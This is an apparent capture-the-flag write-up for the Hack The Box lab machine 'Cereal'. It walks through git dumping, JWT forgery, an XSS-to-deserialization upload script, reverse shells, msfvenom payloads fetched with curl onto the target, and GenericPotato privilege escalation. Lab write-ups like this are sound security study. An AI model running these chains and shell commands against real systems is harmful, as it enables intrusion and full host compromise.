Introduction@Cereal:~$
| Column | Details |
|---|---|
| Name | Cereal |
| IP | 10.10.10.217 |
| Points | 40 |
| Os | Windows |
| Difficulty | Hard |
| Creator | Micah |
| Out On | 21 Nov 2020 |
Pwned
Recon
Nmap
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
┌─[root@d3dsec]─[~/Desktop/HTB/Cereal]
└──╼ #cat nmap/result.nmap
# Nmap 7.80 scan initiated Sun Sep 27 08:19:05 2020 as: nmap -sC -sV -oA /result 10.10.10.217
Nmap scan report for 10.10.10.217
Host is up (0.17s latency).
Not shown: 997 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH for_Windows_7.7 (protocol 2.0)
| ssh-hostkey:
| 2048 08:8e:fe:04:8c:ad:6f:df:88:c7:f3:9a:c5:da:6d:ac (RSA)
| 256 fb:f5:7b:a1:68:07:c0:7b:73:d2:ad:33:df:0a:fc:ac (ECDSA)
|_ 256 cc:0e:70:ec:33:42:59:78:31:c0:4e:c2:a5:c9:0e:1e (ED25519)
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.10.217/
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Cereal
| ssl-cert: Subject: commonName=cereal.htb
| Subject Alternative Name: DNS:cereal.htb, DNS:source.cereal.htb
| Not valid before: 2020-11-11T19:57:18
|_Not valid after: 2040-11-11T20:07:19
|_ssl-date: 2021-01-15T04:58:45+00:00; +8m55s from scanner time.
| tls-alpn:
|_ http/1.1
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: 8m54s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 34.55 seconds
So basically Three ports are opened 22:ssh
80:http
443:https
There is two domain name in nmap result Let's first add it in our /etc/hosts file.
cereal.htb
There is a simple Login page.
source.cereal.htb
They give us error and path of file.
Let's use gobuster on both of domain name.
After that i found .git directory with help of gobuster.
Let's dump .git directory with help of GitTools testing.
Link : GitTools
1
2
3
4
5
git clone https://github.com/internetwache/GitTools
cd GitTools/Dumper/
ls
cat README.md
bash gitdumper.sh http://source.cereal.htb/.git/ /root/Desktop/HTB/Cereal/dump/
After that Let's use Extractor to extract from the dump directory.
1
2
3
4
cd ../Extractor/
ls
cat README.md
bash extractor.sh ../../dump/ /root/Desktop/HTB/Cereal/all_dump/
After extractor finish Let's go to all_dump directory and try to find something interesting.
I found secret inside the 1-8f2a1a88f15b9109e1f63e4e4551727bfb38eee5/Services/UserService.cs file.
1
Secret : secretlhfIH&FY*#oysuflkhskjfhefesf
After check all the files inside 1-8f2a1a88f15b9109e1f63e4e4551727bfb38eee5 directory.
deserialization can’t use ysoserial because of custom protection, but we can use deserialization of the DownloadManager object for upload aspx shell.
vulnerability in the file "ClientApp/src/AdminPage/AdminPage.jsx".
Link : Cross-site Scripting (XSS)
With help of this xss we can do server-side requests and trigger the deserialization.
But for that we need to create our jwt_token with exposed secret.
Link : The JSON Web Token Toolkit v2
1
2
3
4
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool/
ls -al
pip3 install -r requirements.txt
Let's create the jwt_token
1
python3 jwt_tool.py -b -S hs256 -p 'secretlhfIH&FY*#oysuflkhskjfhefesf' $(echo -n '{"alg":"HS256","typ":"JWT"}' | base64).$(echo -n '{"name": "1", "exp":' `date -d "+7 days" +%s`} | base64 -w0).
I got my jwt_token save this in a text file we will use it in future.
1
jwt_token : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjI0NDk0NX0.OCdBywBoBpXyDdO57Bq74VxXuyftTkmz_wvtiTOAxBw
Now we need shell.aspx.
Link : Shell.aspx
Edit the shell.aspx and change the host and port.
After that i create a python script for upload shell.aspx.
Creating Python Script
Change ip and jwt_token which we create in past.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests
from urllib3.exceptions import InsecureRequestWarning
import base64
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
jwt_token = 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYW1lIjoiMSIsImV4cCI6MTYxMjI0NzIzNX0.ldPiCS3ry_B1f3KAc5d1gzgMzq4bhtjfTD_OpSLStQA'
my_ip = '10.10.14.6'
URL = 'https://cereal.htb/requests'
js_payload = """var jwt_token = '"""+jwt_token+ """';
targeturl = 'https://cereal.htb/requests';
req = new XMLHttpRequest;
var payload = JSON.stringify({"json": '{"$type":"Cereal.DownloadHelper, Cereal","URL":"http://""" +my_ip+"""/shell.aspx","FilePath":"C:/inetpub/source/uploads/shell.aspx"}'});
req.onreadystatechange = function() {
if (req.readyState == 4) {
var id = JSON.parse(this.responseText).id;
//console.log(id)
req2 = new XMLHttpRequest;
req2.open('GET', targeturl + "/" + id, false);
req2.setRequestHeader("Authorization", "Bearer " + jwt_token);
req2.send();
}
}
req.open('POST', targeturl, false);
req.setRequestHeader("Authorization", "Bearer " + jwt_token);
req.setRequestHeader('Content-type', 'application/json');
req.send(payload);"""
js_payload_b64 = base64.b64encode(js_payload.encode('utf-8'))
payload = {'json': '{"title":"[XSS](javascript: eval(atob(%22' + js_payload_b64.decode('utf-8') + '%22%29%29)", "flavor":"x", "color":"#FFF", "description":"x"}'}
headers = {'Authorization': 'Bearer ' + jwt_token}
print("shending payload: " + str(payload))
r = requests.post(URL, headers=headers, json=payload, verify=False)
print(r.text)
After that create a folder www and add all files inside that and then start the python server on port 80.
and open a netcat listner on port 9001 which you add on shell.aspx
Then run the python script and wait for 1 min
As soon as you got request on python server run the curl command and get your beautiful shell.
1
2
3
4
python3 -m http.server 80
nc -nvlp 9001
python3 dedsec.py
curl -k https://source.cereal.htb/uploads/shell.aspx
Don't forget to get our user.txt.
Privilege escalation
Let's check what port are listening.
Port 8080 looks interesting because we can't see that port in our nmap scan.
But first we need to forward the port because port 8080 listening on localhost.
And we also see in our enumeration SEImpersonation is enable so we run JuicyPotato to privesc.
You can use chisel But i an using metasploit for that.
Let's create a msfvenom payload first.
1
2
3
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.6 LPORT=9003 -b "\x00\x0a" -a x86 --platform windows -f exe -o ded.exe
ls -al ded.exe
python3 -m http.server 80
Let's run metasploit and start our listner.
1
2
3
4
5
6
msfdb run
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.14.6
set LPORT 9003
run
Now go back to our netcat rev shell and download and run the ded.exe.
1
2
3
mkdir C:\temp
curl http://10.10.14.6/ded.exe -o C:\temp\ded.exe
.\temp\ded.exe
Let's check our metasploit listner.
And we got the shell now let's portforward it.
1
portfwd add -l 8081 -p 8080 -r 127.0.0.1
Now let's run nmap and check what's nmap tells us.
1
nmap -sC -sV -p8081 127.0.0.1
Let's check on browser now.
It's a simple web page nothing interesting let's check the source code.
it uses graphql. Let's check the exploit or article on google.
Link : GraphQL APIs
After enumerating graphql you find a callable function which allows ssrf "updatePlant". combine this ssrf with SeImpersonatePrivilege means juicy potato with http.
Link : GenericPotato
But you need to compile the "c#" code into ".exe" file.
If you don't known how to compile it i give you the link of GenericPotato.exe and NtApiDotNet.xml files.
Link : GenericPotato.exe
Link : NtApiDotNet.xml
Link : nc64.exe
Download all files and keep them all in one directory and start your python server.
Now go back to your metasploit shell and get all files and then execute it.
1
2
3
4
5
6
powershell
cd temp
dir
curl http://10.10.14.6/nc64.exe -o C:\temp\nc64.exe
curl http://10.10.14.6/GenericPotato.exe -o C:\temp\GenericPotato.exe
curl http://10.10.14.6/NtApiDotNet.xml -o C:\temp\NtApiDotNet.xml
Open a netcat listner on 1337
then execute the command in metasploit shell
Then call the function with curl on your local machiene.
1
2
3
nc -nvlp 1337
.\GenericPotato.exe -p "C:\temp\nc64.exe" -a "10.10.14.6 1337 -e powershell" -e HTTP -l 8889
curl -k -X "POST" -H "Content-Type: application/json" --data-binary '{"query":"mutation{updatePlant(plantId:2, version:2.2, sourceURL:\"http://localhost:8889\")}"}' 'http://localhost:8081/api/graphql'
Wating for rev shell as root
And we got reverse shell and get our root.txt.
And we pwned it …….
If u liked the writeup.Support a Student to Get the OSCP-Cert
Donation for OSCP
Resources
| Topic | Url |
|---|---|
| GitTools | https://github.com/internetwache/GitTools |
| Cross-site Scripting (XSS) | https://snyk.io/vuln/npm:react-marked-markdown:20180517 |
| The JSON Web Token Toolkit v2 | https://github.com/ticarpi/jwt_tool |
| Shell.aspx | https://github.com/borjmz/aspx-reverse-shell/blob/master/shell.aspx |
| GraphQL APIs | https://labs.bishopfox.com/tech-blog/design-considerations-for-secure-graphql-apis |
| GenericPotato | https://github.com/micahvandeusen/GenericPotato |
| GenericPotato.exe | https://drive.google.com/file/d/1IVlGJJonN2geDQF-arTy1AAqPeJSLZys/view |
| NtApiDotNet.xml | https://drive.google.com/file/d/11uwMZZCc4ygLN6zkC7tbzIjHdnJIPSiF/view |
| nc64.exe | https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page-----a2ddc3557403 |